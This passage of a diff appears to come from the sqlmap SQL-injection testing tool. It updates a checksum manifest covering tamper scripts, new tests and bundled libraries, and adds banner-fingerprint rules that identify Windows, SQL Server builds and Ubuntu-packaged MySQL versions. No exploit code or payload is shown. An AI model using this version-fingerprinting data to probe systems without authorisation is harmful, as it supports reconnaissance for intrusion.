-c088e7061a1a4676bc7714f64005ac275fae349f3dc665f2d565f56ecae7619f  tamper/space2morehash.py
-f823e5afbd5ab8e3fb478d984528c7f675561cf2b4eb6634a5bc11756097a01f  tamper/space2mssqlblank.py
-0d3b1336a5ca15de0ce5617c153f91ff8715c34cf886a71cb8df5ae887df301d  tamper/space2mssqlhash.py
-528723c9cea1d91dac22cb44cab6f8f0174f98c3c547b42017589d9a19a314e1  tamper/space2mysqlblank.py
-466bb10955155a042fe4ec3b3df6b98193fba1187a376179e0d4dbc068215d91  tamper/space2mysqldash.py
-4ea418f8b226b0ab369f3a8e726b7df0bc4701a2d93585de70e13febe5f438b7  tamper/space2plus.py
-b3b79bbcf48ba943af57978e32b928d567f28ed4e45651f15f9fe898e00c0331  tamper/space2randomblank.py
-6769cbe7b42265ff257a49e17e894bc19ff805802e19f27d57c07a212de70a11  tamper/sp_password.py
+7e23241588e21e17e2d167f696ebaa82b441338370e654357bbf29ee5393cb87  tamper/space2comment.py
+68b541ef75925f8e88a93129d3da259e0bbf7254febf637275382964a2763789  tamper/space2dash.py
+181b201f230aa6104c1a184091e292f8529b0bb1b0c5c1b69ded33c248c2d1e3  tamper/space2hash.py
+e390a99ea7c8de562a489c11c245c8b778b58090f636d231ce06a22829eaddb5  tamper/space2morecomment.py
+cd972178ac4464c6692939c347a03a8c1f3f5dae9d3ef83ae82328fa542b7f49  tamper/space2morehash.py
+45994faf85d0329efae3a6d34cc978dde5802f5f34614c52575e38e36c98b7d2  tamper/space2mssqlblank.py
+7fbaceff3722a32c65f3e3857a61188f05f9ea241f6393670dbb14f7081b542c  tamper/space2mssqlhash.py
+05ea031d1de1073cf0efd336ec70814403169e4123709447854129a0d4032e24  tamper/space2mysqlblank.py
+0a3bc5380bddbfddfd32ce0a353f1abf57894f03262503c4f6e88748ae4a7f58  tamper/space2mysqldash.py
+ef090bed1c71b5d6cd6422748799236dbdadbc70593a7b8ccb26ad07c7a76946  tamper/space2plus.py
+93d1cf1f6fb977356c4c8dc2d7784d4564b8da3d9f16e8253f957f80af2491f3  tamper/space2randomblank.py
+477ae0f9e3fe48b2fe5ced7b525b05a8e1db66963ff19dbb38dc810443dece57  tamper/sp_password.py
 8e52309b893770bce57215fd3bf42d53d7f0d164690b4121b598126cbaaf6bc3  tamper/substring2leftright.py
-d4b29c9a47961430dd0a24c22f8fe2968374ca5b0611e8b2837481c8d77672bf  tamper/symboliclogical.py
-c442ec7bb6676bdc58447fa54c719a9322b1728ba96c2358081a73fa8a4612ff  tamper/unionalltounion.py
+4b0dc71cef8daa67bcd54059e2a488340da9d64b5b2f848b2e2eff8972fc1649  tamper/symboliclogical.py
+dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191  tamper/unionalltounion.py
 9ebf67b9ce10b338edc3e804111abe56158fa0a69e53aacdd0ffa0e0b6af1f70  tamper/unmagicquotes.py
 67a83f8b6e99e9bb3344ad6f403e1d784cf9d3f3b7e8e40053cf3181fabe47fa  tamper/uppercase.py
 3e54d7f98ca75181e6b16aa306d5a5f5f0dce857d5b3e6ce5a07d501f5d915aa  tamper/varnish.py
-7d469ee594390cbc10378f83af403bba249240eab00f0ad5a5fe0e3fa1fcbf0d  tamper/versionedkeywords.py
-dcb7a5584390f1604adff075c94139dd23711f2f516b68683ec4208dd0a00fda  tamper/versionedmorekeywords.py
+7afc4d262b97773e67dcfa3e253a9a060dc964750f01d739636d17ee069f1512  tamper/versionedkeywords.py
+0694e721b07b8242245688be5c7951a3a22f512ed73776a998885e4b1bc82bc7  tamper/versionedmorekeywords.py
 ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf  tamper/xforwardedfor.py
+44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724  tests/__init__.py
+d16977d057c28888aa41500f79a19789cadef693cb8b7d9a3bca55b983ce2266  tests/test_agent.py
+138381e05a860272fedab780e6c38ab74c59c879048b11b909d23f8df654352a  tests/test_api.py
+feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10  tests/test_bigarray.py
+36bcb68483d824db5d05870fab62f1907221bf256826b734302fbc15a9231c42  tests/test_brute.py
+27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d  tests/test_charset.py
+7596fc69678304923b5c945c0fd9b8ee62a2dfc7fb14ccb6dc7af30893dc8012  tests/test_checks.py
+9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad  tests/test_cloak.py
+2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd  tests/test_common_helpers.py
+cdacb37cbe5667fded00abe62a822e11c917e9cb5c3f664b7aa1a8d738412ed4  tests/test_common.py
+899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a  tests/test_comparison_json.py
+7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1  tests/test_comparison.py
+a7c3cf9f7820f377ebfdecf9383ebebc2932dd4a2a531a2b4496071f9d973c1c  tests/test_compat.py
+75357efd92f3f57cc05244a0f40985108077479fd192caaaa81e14f61c13783d  tests/test_convert.py
+2bd0faeaf7db1d73dd0caab3bde9900fdaa1f38fd736a6e238cd56ff9bc67b66  tests/test_databases_enum.py
+c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f  tests/test_datafiles.py
+9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545  tests/test_datatypes.py
+8a1edb6dbc000e412ba5cc598e024b669fc76ec0a8fc32136808e6325a018f70  tests/test_dbms_enum.py
+3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd  tests/test_decodepage.py
+180e5fd3f75fadf7ac1135f99797314e2cf1f8ae6dced02edfb18ccba43c0148  tests/test_deps.py
+b01343eb8aa42ea5c2c483ec028a24f6451aa6f668fdc0c289d5ff9554c277d7  tests/test_dialectdbms.py
+e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2  tests/test_dialect.py
+993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff  tests/test_dicts.py
+7f9180a53dbf0bb3e52801fdbfffd31f365a0bff77bf90e58d2ef63a0c23026f  tests/test_dns_engine.py
+ec58ba0849d90d2bb7580fe2b8b96cd8299ddfc25f14dc27d9de9d41f152c78a  tests/test_dns_server.py
+4556bb0bfa6fcd5b98552426c57c99942ee8274eaefec7c316fd64247e4fcd6a  tests/test_dump_format.py
+9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276  tests/test_dump_jsonl.py
+2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420  tests/test_encoding.py
+fe1211ce43a51cd8ec7dd3395aafda8d7313ff60e2ef013072ce9fa49ca4a242  tests/test_entries.py
+bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4  tests/test_error_engine.py
+26730151abea598f193131c5d64ef92b531941972f3d6236f9951c3116030b1c  tests/test_filesystem.py
+16fba97cba6afe8af11aa30bcc4266f53b00f2530161e010af10b51db1509703  tests/test_fingerprint.py
+20844dfc758e99b2f757906c51ef32aca0f699283ec5aa629158d3dc0fd279ea  tests/test_generic_takeover.py
+f1f38f8b8ca667caadcb027d1a20eb895be4ef0935511114db235e66903bb463  tests/test_graphql.py
+50b71422ee91b9a4864f4d5ce6c9bdf169dc5f57ed1db05c152eb010c282136b  tests/test_gui_helpers.py
+92648f2fe81e22c5726b198bbbda14961cd4d3294a0d9139dcea808b324142ac  tests/test_har.py
+cc7677bc6c568c395112c1aa7d01e1d664e4d5940c86cb4d44987172864bae6f  tests/test_hash_crack.py
+0336c875dd2b6554bff6eafd746229e38c69ca8070cd933d45cf27c82ef3e05f  tests/test_hashdb.py
+c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7  tests/test_hash.py
+d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9  tests/test_identifiers_output.py
+5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1  tests/test_inference_engine.py
+0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9  tests/test_ldap.py
+caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad  tests/test_misc.py
+790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7  tests/test_nosql.py
+88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d  tests/test_openapi_drift.py
+6e63ed05db0490148d1c8428d785a23b0d5d5a0f566cd397c9c4a8fe8a6ed7dc  tests/test_option.py
+cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759  tests/test_pagecontent.py
+7554a918309cf0f2cd8a63a3bb7659708f13beffbcd5ce498ece9f9167d55c97  tests/test_parse_modules.py
+0d52bf4b96eea2330553fdf7f875ed571e596d2f7a4b3648a2b53e44666f0c70  tests/test_payload_marking.py
+6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f  tests/test_payloads_structure.py
+d6ffa83bd56ae98e7f55307b72dd7ea4802bccea9a85bb8f062619fb0a88913e  tests/test_progress.py
+a6d013104601c0414628aff3d8b5b69bee3e6733781d8f8da880457d8b44bd3a  tests/test_property.py
+c4c6f500bb71c3e430da343a49e8c8b8b3c919f438b6e6130597ce68dd856487  tests/test_purge.py
+2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea  tests/test_replication.py
+67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750  tests/test_report.py
+4723d3bdf9623a49972e1d7378168ae8efbeaa31fb11c35d83bb40cc135fa0a8  tests/test_request_basic.py
+cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b  tests/test_safe2bin.py
+5b6ce95dddbd07d0126224f4f066643938476e536e18b700ea5d916e1052a715  tests/test_search_enum.py
+a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d  tests/test_settings_regex.py
+29d0278e3718b0fee422d3f6bb85ca02560138d48cd76f9fe1f35ac19d96071b  tests/test_sgmllib.py
+d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e  tests/test_sqlparse.py
+412a61053c2531cc0380b34dfd01d52bd118f6a6473728c069c467054c7e3c8e  tests/test_ssti.py
+8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f  tests/test_strings.py
+8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e  tests/test_tamper.py
+67472bd71c20782cc0f738e2c2e674c29d6985669e14d15b69baef7d0e33de62  tests/test_target_parsing.py
+b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02  tests/test_targeturl.py
+0e644bb7b25c183d0d689ea7be542d7a2ce780cc68067f89afb2ee095a79f762  tests/test_techniques.py
+639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6  tests/test_texthelpers.py
+f49bcce1df533ffa1acfd02af43faf6687b21eebda9362ceb1e5871b8cb37fd4  tests/test_threads.py
+708b3c040f8b677a84020dd6f7c4242f77260b3c6d2697fe8189e1881b0e1365  tests/test_union_engine.py
+48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78  tests/test_unpickle_security.py
+4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf  tests/test_urls.py
+eca021208e388b4d14c53f1e9f8a6e7d685e54ba572fb2a8487e6b620a20bcb5  tests/test_users_enum.py
+045f05f958100adc883b3f56613c5f8002dd19d0752225397a1f771775cb2779  tests/_testutils.py
+2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e  tests/test_utils.py
+93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f  tests/test_wafbypass.py
+81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca  tests/test_wordlist.py
+2698060e7f001e054e345512ce95be458d9902b913afa769398b53145475738a  tests/test_xpath.py
 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a  thirdparty/ansistrm/ansistrm.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/ansistrm/__init__.py
-dfb8a36f58a3ae72c34d6a350830857c88ff8938fe256af585d5c9c63040c5b2  thirdparty/beautifulsoup/beautifulsoup.py
+f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7  thirdparty/beautifulsoup/beautifulsoup.py
 7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63  thirdparty/beautifulsoup/__init__.py
-0915f7e3d0025f81a2883cd958813470a4be661744d7fffa46848b45506b951a  thirdparty/bottle/bottle.py
+f862301288d2ba2f913860bb901cd5197e72c0461e3330164f90375f713b8199  thirdparty/bottle/bottle.py
 9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2  thirdparty/bottle/__init__.py
 0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff  thirdparty/chardet/big5freq.py
 901c476dd7ad0693deef1ae56fe7bdf748a8b7ae20fde1922dddf6941eff8773  thirdparty/chardet/big5prober.py
 df0a164bad8aac6a282b2ab3e334129e315b2696ba57b834d9d68089b4f0725f  thirdparty/chardet/chardistribution.py
-e9b0eef1822246e49c5f871af4881bd14ebd4c0d8f1975c37a3e82738ffd90ee  thirdparty/chardet/charsetgroupprober.py
+1992d17873fa151467e3786f48ea060b161a984acacf2a7a460390c55782de48  thirdparty/chardet/charsetgroupprober.py
 2929b0244ae3ca9ca3d1b459982e45e5e33b73c61080b6088d95e29ed64db2d8  thirdparty/chardet/charsetprober.py
 558a7fe9ccb2922e6c1e05c34999d75b8ab5a1e94773772ef40c904d7eeeba0f  thirdparty/chardet/codingstatemachine.py
-3ca4f31e449bb5b1c3a92f4fcae8cc6d7ef8ab56bc98ca5e4130d5b10859311c  thirdparty/chardet/compat.py
+e34cebeb0202670927c72b8b18670838fcaf7bc0d379b0426dbbedb6f9e6a794  thirdparty/chardet/compat.py
 4d9e37e105fccf306c9d4bcbffcc26e004154d9d9992a10440bfe5370f5ff68c  thirdparty/chardet/cp949prober.py
 0229b075bf5ab357492996853541f63a158854155de9990927f58ae6c358f1c5  thirdparty/chardet/enums.py
 924caa560d58c370c8380309d9b765c9081415086e1c05bc7541ac913a0d5927  thirdparty/chardet/escprober.py
@@ -577,34 +685,34 @@ d77a7a10fe3245ac6a9cfe221edc47389e91db3c47ab5fe6f214d18f3559f797  thirdparty/cha
 257f25b3078a2e69c2c2693c507110b0b824affacffe411bbe2bc2e2a3ceae57  thirdparty/chardet/gb2312freq.py
 806bc85a2f568438c4fb14171ef348cab9cbbc46cc01883251267ae4751fca5c  thirdparty/chardet/gb2312prober.py
 737499f8aee1bf2cc663a251019c4983027fb144bd93459892f318d34601605a  thirdparty/chardet/hebrewprober.py
-62c3f9c1096c1c9d9ab85d516497f2a624ab080eff6d08919b7112fcd23bebe6  thirdparty/chardet/__init__.py
+99665a5a6bd9921c1f044013f4ed58ea74537cace14fb1478504d302e8dba940  thirdparty/chardet/__init__.py
 be9989bf606ed09f209cc5513c730579f4d1be8fe16b59abc8b8a0f0207080e8  thirdparty/chardet/jisfreq.py
 3d894da915104fc2ccddc4f91661c63f48a2b1c1654d6103f763002ef06e9e0a  thirdparty/chardet/jpcntx.py
-d47a904bd3dbb678f5c508318ad24cbf0f17ea42abe4ea1c90d09959f110acf1  thirdparty/chardet/langbulgarianmodel.py
-2ce0da8efb1eb47f3bc980c340a0360942d7507f3bb48db6ddd85f8e1f59c7d7  thirdparty/chardet/langcyrillicmodel.py
-f18016edb53c6304896a9d2420949b3ccc35044ab31a35b3a9ca9fd168142800  thirdparty/chardet/langgreekmodel.py
-2529ea984e44eb6b432d33d3bcba50b20e6038c3b83db75646f57b02f91cd070  thirdparty/chardet/langhebrewmodel.py
-4616a96121b997465a3be555e056a7e6c5b4591190aa1c0133ad72c77cb1c8e0  thirdparty/chardet/langhungarianmodel.py
-f25d35ef71aefd6e86f26c6640e4c417896cd98744ec5c567f74244b11065c94  thirdparty/chardet/langthaimodel.py
-5b6d9e44d26ca88eae5807f05d22955969c27ab62aac8f1d6504e6fccd254459  thirdparty/chardet/langturkishmodel.py
+c7e37136025cd83662727b28eda1096cb90edcdeff9fbe69c68ce7abd637c999  thirdparty/chardet/langbulgarianmodel.py
+0d14ea9c4f0b1c56b3973ca252ebfbe425984f47dc23777fef9c89f74b000f60  thirdparty/chardet/langgreekmodel.py
+02118d149e3ad330914d9df550c100adccdda23e7fa69929ab141db2041b393f  thirdparty/chardet/langhebrewmodel.py
+2a11db92bc99f895d1c2cc4073847349b585185660e8430975b996b8e5d569df  thirdparty/chardet/langhungarianmodel.py
+b5beaf306af79329a46c7b95d288a49cb686360b7035d5c0cd3f325cefa08487  thirdparty/chardet/langrussianmodel.py
+6cb2774a086b331727a5412582ed8d80d7db896244cbd3e36946fb7812cfd9f5  thirdparty/chardet/langthaimodel.py
+8f891116c7272a084950e955a6a530eb352f8f50aa97a5b84a37e2fd730caa3a  thirdparty/chardet/langturkishmodel.py
 4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f  thirdparty/chardet/latin1prober.py
 011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4  thirdparty/chardet/mbcharsetprober.py
 87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e  thirdparty/chardet/mbcsgroupprober.py
 498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92  thirdparty/chardet/mbcssm.py
-2c34a90a5743085958c149069300f6a05c4b94f5885974f4f5a907ff63e263be  thirdparty/chardet/sbcharsetprober.py
-d48a6b70207f935a9f9a7c460ba3016f110b94aa83dec716e92f1823075ec970  thirdparty/chardet/sbcsgroupprober.py
+9e6c8ccaec731bcec337a2b7464d8c53324b30b47af4cad6a5d9c7ccec155304  thirdparty/chardet/sbcharsetprober.py
+86a79f42e5e6885c83040ace8ee8c7ea177a5855e5383d64582b310e18f1e557  thirdparty/chardet/sbcsgroupprober.py
 208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4  thirdparty/chardet/sjisprober.py
-a8bd35ef8952644e38d9e076d679e4b53f7f55c0327b4ee5685594794ae3b6d6  thirdparty/chardet/universaldetector.py
+0e96535c25f49d41d7c6443db2be06671181fe1bde67a856b77b8cf7872058ab  thirdparty/chardet/universaldetector.py
 21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c  thirdparty/chardet/utf8prober.py
-b29dc1d3c9ab0d707ea5fdcaf5fa89ff37831ce08b0bc46b9e04320c56a9ffb8  thirdparty/chardet/version.py
+0380882c501df0c4551b51e85cfa78e622bd44b956c95ef76b512dc04f13be7f  thirdparty/chardet/version.py
 1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd  thirdparty/clientform/clientform.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/clientform/__init__.py
-162d2e9fe40ba919bebfba3f9ca88eab20bc3daa4124aec32d5feaf4b2ad4ced  thirdparty/colorama/ansi.py
-a7070aa13221d97e6d2df0f522b41f1876cd46cb1ddb16d44c1f304f7bab03a3  thirdparty/colorama/ansitowin32.py
-d7b5750fa3a21295c761a00716543234aefd2aa8250966a6c06de38c50634659  thirdparty/colorama/initialise.py
-f71072ad3be4f6ea642f934657922dd848dee3e93334bc1aff59463d6a57a0d5  thirdparty/colorama/__init__.py
-fd2084a132bf180dad5359e16dac8a29a73ebfd267f7c9423c814e7853060874  thirdparty/colorama/win32.py
-179e47739cdcb6d8f97713b4ecf2c84502ed9894d20cf941af5010a91b5275ea  thirdparty/colorama/winterm.py
+4e8a7811e12e69074159db5e28c11c18e4de29e175f50f96a3febf0a3e643b34  thirdparty/colorama/ansi.py
+d3363f305a0c094a6a201b757e632b6751fa679247c214b6e275fb0341a1c84c  thirdparty/colorama/ansitowin32.py
+fa1227cbce82957a37f62c61e624827d421ad9ffe1fdb80a4435bb82ab3e28b5  thirdparty/colorama/initialise.py
+c1e3d0038536d2d2a060047248b102d38eee70d5fe83ca512e9601ba21e52dbf  thirdparty/colorama/__init__.py
+61038ac0c4f0b4605bb18e1d2f91d84efc1378ff70210adae4cbcf35d769c59b  thirdparty/colorama/win32.py
+5c24050c78cf8ba00760d759c32d2d034d87f89878f09a7e1ef0a378b78ba775  thirdparty/colorama/winterm.py
 4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3  thirdparty/fcrypt/fcrypt.py
 6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f  thirdparty/fcrypt/__init__.py
 dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9  thirdparty/identywaf/data.json
@@ -612,23 +720,19 @@ e5c0b59577c30bb44c781d2f129580eaa003e46dcc4f307f08bc7f15e1555a2e  thirdparty/ide
 edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa  thirdparty/identywaf/__init__.py
 d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347  thirdparty/identywaf/LICENSE
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/__init__.py
-879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8  thirdparty/keepalive/__init__.py
-f517561115b0cfaa509d0d4216cd91c7de92c6a5a30f1688fdca22e4cd52b8f8  thirdparty/keepalive/keepalive.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/magic/__init__.py
 4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8  thirdparty/magic/magic.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/multipart/__init__.py
 2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5  thirdparty/multipart/multipartpost.py
 ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696  thirdparty/odict/__init__.py
 9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb  thirdparty/odict/ordereddict.py
-691ae693e3a33dd730930492ff9e7e3bdec45e90e3a607b869a37ecd0354c2d8  thirdparty/prettyprint/__init__.py
-8df6e8c60eac4c83b1bf8c4e0e0276a4caa3c5f0ca57bc6a2116f31f19d3c33f  thirdparty/prettyprint/prettyprint.py
 3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84  thirdparty/pydes/__init__.py
 4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e  thirdparty/pydes/pyDes.py
 c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df  thirdparty/six/__init__.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/socks/__init__.py
 7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9  thirdparty/socks/LICENSE
-57dba7460c09b7922df68b981e824135f1a6306180ba4c107b626e3232513eff  thirdparty/socks/socks.py
+c186b5d44edbeb8b536ce19afb476fec67b008a6fc6a8683f1866cea441051b1  thirdparty/socks/socks.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/termcolor/__init__.py
 b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df  thirdparty/termcolor/termcolor.py
 4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc  thirdparty/wininetpton/__init__.py
-7d7ec81c788600d02d557c13f9781bb33f8a699c5a44c4df0a065348ad2ee502  thirdparty/wininetpton/win_inet_pton.py
+ac055d6ae1f7a99d4334a4e5328dae1758e7a84f01292acd1bb5105ee4f26927  thirdparty/wininetpton/win_inet_pton.py

data/xml/banner/generic.xml

@@ -34,7 +34,7 @@
     <!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
 
     <regexp value="Windows.*\b10\.0">
-        <info type="Windows" distrib="2016|2019|2022|10|11"/>
+        <info type="Windows" distrib="2016|2019|2022|2025|10|11"/>
     </regexp>
 
     <regexp value="Windows.*\b6\.3">
@@ -179,6 +179,10 @@
         <info type="Linux" distrib="Rocky"/>
     </regexp>
 
+    <regexp value="AlmaLinux">
+        <info type="Linux" distrib="Alma"/>
+    </regexp>
+
     <!-- BSD -->
 
     <regexp value="FreeBSD">

data/xml/banner/mssql.xml

@@ -1,5 +1,195 @@
 <?xml version="1.0" ?>
+<!--
+     Release/Service Pack anchors for SQL Server 2012-2022.
+     Each release leads with a coarse "major.minor" signature (matches any patch
+     level, so the product year is always resolved) followed by exact RTM/SP base
+     builds (last match wins, so the specific entry overrides the coarse fallback
+     and adds Service Pack identification). 2017+ use the CU servicing model (no SPs).
+     Reference: https://learn.microsoft.com/en-us/troubleshoot/sql/releases/download-and-install-latest-updates
+-->
 <root>
+    <signatures release="2022">
+        <signature>
+            <version>
+                16.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                16.0.1000.6
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2019">
+        <signature>
+            <version>
+                15.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                15.0.2000.5
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2017">
+        <signature>
+            <version>
+                14.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                14.0.1000.169
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2016">
+        <signature>
+            <version>
+                13.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                13.0.1601.5
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                13.0.4001.0
+            </version>
+            <servicepack>
+                1
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                13.0.5026.0
+            </version>
+            <servicepack>
+                2
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                13.0.6300.2
+            </version>
+            <servicepack>
+                3
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2014">
+        <signature>
+            <version>
+                12.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                12.0.2000.8
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                12.0.4100.1
+            </version>
+            <servicepack>
+                1
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                12.0.5000.0
+            </version>
+            <servicepack>
+                2
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                12.0.6024.0
+            </version>
+            <servicepack>
+                3
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2012">
+        <signature>
+            <version>
+                11.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.2100.60
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.3000.0
+            </version>
+            <servicepack>
+                1
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.5058.0
+            </version>
+            <servicepack>
+                2
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.6020.0
+            </version>
+            <servicepack>
+                3
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.7001.0
+            </version>
+            <servicepack>
+                4
+            </servicepack>
+        </signature>
+    </signatures>
     <signatures release="2008 R2">
         <signature>
             <version>

data/xml/banner/mysql.xml

@@ -3,6 +3,7 @@
 <!--
      References:
      * https://en.wikipedia.org/wiki/Debian_version_history
+     * https://en.wikipedia.org/wiki/Ubuntu_version_history
 -->
 
 <root>
@@ -76,4 +77,30 @@
         <info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
     </regexp>
 
+    <!-- Ubuntu (release embedded in the package version, e.g. 8.0.36-0ubuntu0.22.04.1) -->
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.14\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="14.04" codename="trusty"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.16\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="16.04" codename="xenial"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.18\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="18.04" codename="bionic"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.20\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="20.04" codename="focal"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.22\.04">
